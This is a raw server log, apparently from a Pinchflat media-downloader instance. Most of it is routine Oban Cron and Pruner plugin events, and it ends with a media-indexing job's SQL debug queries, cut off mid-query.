{"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:49:21.661 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:51.663 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.256 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:50:21.665 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:51.667 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.257 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:51:21.669 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:51.671 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.258 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:52:21.673 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:51.674 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.259 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:53:21.677 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:51.679 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.260 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:54:21.681 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:51.683 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.261 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:55:21.685 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:51.687 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.262 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:56:21.689 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:51.691 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.263 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:57:21.693 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:51.695 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.264 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:58:21.697 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:51.699 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.265 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:59:21.701 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:51.703 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.266 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:00:21.705 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:51.707 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.267 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:01:21.709 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:51.711 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.269 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:02:21.713 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:51.715 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.270 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:03:21.717 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:51.719 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.271 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:04:21.721 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:51.723 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.272 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:05:21.725 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:51.727 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.273 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:06:21.729 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:51.731 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.274 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:07:21.733 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:51.735 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.275 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:08:21.737 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:51.739 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.276 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:09:21.741 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:51.743 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.277 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:10:21.745 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:51.747 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.278 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:11:21.749 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:51.751 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.279 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:12:21.753 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:51.755 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.280 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:13:21.757 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:51.759 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.281 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:14:21.761 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:51.763 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.282 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:15:21.765 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:51.767 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.283 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:16:21.769 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:51.771 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.284 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:17:21.773 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:51.775 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.285 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:18:21.777 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:51.779 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.286 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:19:21.781 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:51.783 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.287 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:20:21.785 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:51.787 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.288 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:21:21.789 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:51.791 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.289 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:22:21.793 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:51.795 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.290 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:23:21.797 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:51.799 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.291 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:24:21.801 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:51.803 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.292 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:25:21.805 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:51.807 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.294 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:26:21.809 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:51.811 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.295 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:27:21.813 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:51.815 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.296 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:28:21.817 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:51.819 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.297 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:29:21.821 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:51.823 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.298 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:30:21.825 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:51.827 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.299 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:31:21.829 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:51.831 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.300 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:32:21.833 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:51.835 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.301 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:33:21.837 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:51.839 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.303 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:34:21.842 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:51.844 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.304 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:35:21.846 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:51.848 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.305 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:36:21.849 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:51.852 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.306 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:37:21.854 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:51.856 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.307 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:38:21.858 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:51.860 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.308 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:39:21.862 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:51.864 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.309 [info] {"source":"oban","duration":231,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:40:21.866 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:51.868 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.310 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:41:21.870 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:51.872 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.311 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:42:21.874 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:51.876 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.312 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:43:21.878 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:51.880 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.313 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:44:21.881 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:51.884 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.314 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:45:21.886 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:51.888 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.315 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:46:21.890 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:51.892 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.316 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:47:21.895 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:51.897 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.317 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:48:21.899 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:51.901 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.318 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:49:21.903 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:51.905 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.319 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:50:21.907 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:51.909 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.320 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:51:21.911 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:51.913 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.321 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:52:21.915 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:51.917 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.322 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:53:21.919 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:51.921 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.323 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:54:21.923 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:51.925 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.324 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:55:21.927 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:51.929 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.325 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:56:21.931 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:51.933 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.326 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:57:21.935 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:51.937 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.327 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:58:21.940 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 10:58:51.942 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.328 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:59:21.944 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:51.946 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.329 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:00:18.792 [info] {"args":{"id":1},"id":2612,"meta":{},"system_time":1765562418791818777,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:00:18.792 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1163.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:18.793 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1164.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.797 [debug] QUERY OK source="media_items" db=2.8ms idle=1012.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:00:18.797 [debug] QUERY OK source="media_items" db=0.4ms idle=13.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 11:00:18.798 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", 